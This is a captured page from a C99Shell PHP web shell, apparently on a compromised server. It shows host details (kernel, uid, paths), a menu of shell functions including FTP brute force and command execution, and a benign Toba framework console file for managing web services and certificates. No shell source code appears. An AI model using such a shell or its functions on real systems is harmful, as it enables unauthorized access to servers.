!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/consola/comandos/   drwxr-xr-x
Free 14.92 GB of 61.93 GB (24.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     comando_servicios_web.php (7.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once('comando_toba.php');

class 
comando_servicios_web extends comando_toba
{
    static function 
get_info()
    {
        return 
'Administracion de servicios web';
    }
    
    function 
mostrar_observaciones()
    {
        
$this->consola->mensaje("INVOCACION: toba servicios_web OPCION");
        
$this->consola->enter();
    }
    
    protected function 
get_servicio_serv() 
    {
        
$proyecto $this->get_proyecto();
        
$parametros $this->get_parametros();
        
$servicios_disponibles toba_info_editores::get_items_servicios_web($proyecto->get_id());        
        if (isset(
$parametros['-s'])) {
            
$servicio $parametros['-s'];
            foreach(
$servicios_disponibles as $serv) {
                if (
$servicio == $serv['item']) {
                    return 
$servicio;
                }
            }            
            throw new 
toba_error("El servicio $servicio no esta definido en el proyecto");
        } else {
            
//Elijo el servicio web sobre el que trabajare
            
$servicios_lista = array();
            foreach(
$servicios_disponibles as $serv) {
                
$servicios_lista[$serv['item']] = $serv['nombre'];
            }
            
$servicio $this->consola->dialogo_lista_opciones($servicios_lista'Seleccione el servicio web');
        }        
        return 
$servicio;
    } 
    
    protected function 
get_servicio_cli()
    {
        
$proyecto $this->get_proyecto();
        
$parametros $this->get_parametros();
        
$servicios_disponibles toba_info_editores::get_servicios_web_acc($proyecto->get_id());        
        if (isset(
$parametros['-s'])) {
            
$servicio $parametros['-s'];
            foreach(
$servicios_disponibles as $serv) {
                if (
$servicio == $serv['servicio_web']) {
                    return 
$servicio;
                }
            }
            throw new 
toba_error("El consumo del servicio $servicio no esta definido en el proyecto");
        } else {
            
//Elijo el servicio web sobre el que trabajare
            
$servicios_lista = array();
            foreach(
$servicios_disponibles as $serv) {
                
$servicios_lista[$serv['servicio_web']] = $serv['servicio_web'];
            }
            
$servicio $this->consola->dialogo_lista_opciones($servicios_lista'Seleccione el servicio web');
        }
        return 
$servicio;
    }    
    
    
//--------------------------------------------------------------------------------------------------------------------------------------//
    //                                SERVER                                           //
    //--------------------------------------------------------------------------------------------------------------------------------------//    
    /**
     * Genera la documentacion de los servicios web provistos por el proyecto (requiere tener publicado el proyecto en localhost)
     *        -r 0|1 reemplaza la documentacion existente
     */
    
function opcion__serv_generar_doc()
    {
        if (! 
extension_loaded('wsf')) {
            throw new 
toba_error('La extensión wsf no se encuentra cargada, verifique la instalación.');
        }
        
$param $this->get_parametros();
        
$forzar_reemplazo = isset($param["-r"]) ? ($param["-r"] == 1) : false;
                
        
$proyecto =$this->get_proyecto();
        
$servicios toba_info_editores::get_items_servicios_web();
        
$carpeta_doc $proyecto->get_dir()."/doc/servicios_web";
        if (! 
file_exists($carpeta_doc)) {
            
mkdir($carpeta_doc0777true);
        }                
        
$this->consola->mensaje("Generando documentacion...");        
        
$index_page "<html><head>
        <link href='wsdl-viewer.css' rel='stylesheet' type='text/css' media='screen'/>
        </head>
        <body>
        <div id='header'>
        <h1>
{$proyecto->get_id()}</h1><h2>Documentación Servicios Web</h2>
        </div>
        <div id='inner_box'><div class='page'>
        <ul>"
;
        foreach (
$servicios as $serv_datos) {
            
$servicio toba_modelo_catalogo::get_servicio_web($proyecto$serv_datos['item'], $this->consola);            
            
$file $servicio->generar_documentacion($carpeta_doc$forzar_reemplazo);
            
$index_page .= "<li><a href='$file'>{$serv_datos['item']}</a></li>";
            unset(
$servicio);
        }
        
$index_page .= "</ul></div></div></body></html>";
        
file_put_contents($carpeta_doc."/index.html"$index_page);
        
$this->consola->mensaje("Listo. Navegar hacia file://".$carpeta_doc."/index.html");
    }
    
    
/**
     *  Genera la configuracion de un cliente de servicio, importando el certificado del servidor
     *   -p Proyecto
     *   -s cliente a configurar
     *   -c Certificado del servidor a importar
      *   -u URL del sistema (opcional)        
     */
    
function opcion__cli_configurar()
    {
        
$parametros $this->get_parametros();
        
$proyecto $this->get_proyecto();
        
$servicio toba_modelo_catalogo::get_servicio_web($proyecto$this->get_servicio_cli(), $this->consola);
    
        
$dir_instalacion $proyecto->get_dir_instalacion_proyecto();
        if (! 
toba_modelo_servicio_web::existe_archivo_certificado($proyecto)) {
            
$this->consola->error("No existe la clave privada/certificado del proyecto en '$dir_instalacion/privada.key'. Puede generarlos usando el comando generar_cert");
            die;
        }
        if (!isset(
$parametros['-c'])) {
            
$this->consola->error("Debe incluir el parametro -c con la ruta al archivo de certificado del servidor");
            die;
        }
        if (! 
file_exists($parametros['-c'])) {
            
$this->consola->error("No fue posible encontrar el certificado en '{$parametros['-c']}'");
            die;
        }
            
        
//Se especifico una URL?
        
$url_sistema null;
        if (isset(
$parametros['-u'])) {
            
$url_sistema $parametros['-u'];
        }
        
        
//Genera configuracion
        
$servicio->generar_configuracion_cliente($parametros['-c'], $url_sistema);
    
        
$this->consola->mensaje("Ok. Certificado del servidor importado correctamente en el cliente");
    }
    
    
/**
     *  Genera la configuracion de un servicio, importando el certificado del cliente
     *   -p Proyecto
     *   -s Servicio a configurar
     *   -c Certificado del cliente a importar
     *   -h clave=valor Identificador del cliente, varias opciones separadas por coma (,)
     */
    
function opcion__serv_configurar()
    {
        
$parametros $this->get_parametros();
        
$proyecto $this->get_proyecto();
        
$servicio toba_modelo_catalogo::get_servicio_web($proyecto,  $this->get_servicio_serv(), $this->consola);

        
$dir_instalacion $proyecto->get_dir_instalacion_proyecto();
        if (! 
toba_modelo_servicio_web::existe_archivo_certificado($proyecto)) {
            
$this->consola->error("No existe la clave privada/certificado del proyecto en '$dir_instalacion/privada.key'. Puede generarlos usando el comando generar_cert");
            die;
        }        
        if (!isset(
$parametros['-c'])) {
            
$this->consola->error("Debe incluir el parametro -c con la ruta al archivo de certificado del cliente");
            die;            
        }
        if (! 
file_exists($parametros['-c'])) {
            
$this->consola->error("No fue posible encontrar el certificado en '{$parametros['-c']}'");
            die;
        }
        
        if (!isset(
$parametros['-h'])) {
            
$this->consola->error("Debe incluir el parametro -h con los pares clave=valor que identifican al cliente");
            die;
        }
        
        
//Parseo el ID del cliente
        
$headers = array();
        
$param_headers explode(","trim($parametros['-h']));
        foreach (
$param_headers as $param_header) {
            list(
$clave$valor) = explode("="trim($param_header));
            
$headers[$clave] = $valor;
        }        
        
        
//Genera configuracion
        
$servicio->generar_configuracion_servidor($parametros['-c'], $headers);

        
$this->consola->mensaje("Ok. Certificado del cliente importado correctamente en el servidor");
    }    
    
    
/**
     *  Genera o configura los archivos de certificados necesario para seguridad a nivel capa de transporte
     *       Opcional: -r Reemplaza los certificados actuales
     *      
     */
    
function opcion__generar_cert()
    {        
        
$parametros $this->get_parametros();
        
//Creo el directorio para el servicio web
        
$proyecto $this->get_proyecto();
        
$dir_instalacion $proyecto->get_dir_instalacion_proyecto();        
        if (
toba_modelo_servicio_web::existe_archivo_certificado($proyecto) && ! isset($parametros['-r'])) {
            
$this->consola->error("Ya existe la clave privada del proyecto en '$dir_instalacion/privada.key'. Para sobreescribirla indique el parametro -r");
            die;
        }
        
        try {
            
toba_modelo_servicio_web::generar_certificados($proyecto$dir_instalacion);
            
$this->consola->mensaje("Ok. Certificado publico generado en:");
            
$this->consola->mensaje("$dir_instalacion/publica.crt");                
        } catch (
toba_error_usuario $e) {
            
$this->consola->mensaje('Se ha producido un error durante el proceso'true);
            
$this->consola->error($e->getMessage());
        }
    }    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5354 ]--